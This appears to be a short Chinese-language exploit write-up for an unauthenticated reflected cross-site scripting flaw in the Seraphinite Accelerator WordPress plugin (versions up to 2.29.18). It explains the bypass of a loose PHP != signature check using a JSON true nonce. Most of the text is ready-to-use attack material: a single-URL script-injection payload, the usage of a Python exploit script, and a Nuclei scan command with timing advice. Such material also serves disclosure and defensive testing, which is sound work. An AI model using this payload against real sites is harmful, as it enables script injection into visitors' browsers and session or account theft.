该插件使用 HMAC 对其内部“准备页面”请求进行签名,签名位于 seraph_accel_prep 参数中(base64 编码的 JSON),但在比较时使用了 PHP 的松散比较运算符 !=。将 JSON 布尔值 true 作为 nonce 发送会使比较始终通过,随后 selfTest 字段会以未转义的形式回显为 selfTest-<value>。
单个 URL,无需身份验证:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python(需要 pip install requests):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
需要 -timeout 10,因为易受攻击的代码路径在响应前会休眠 5 秒。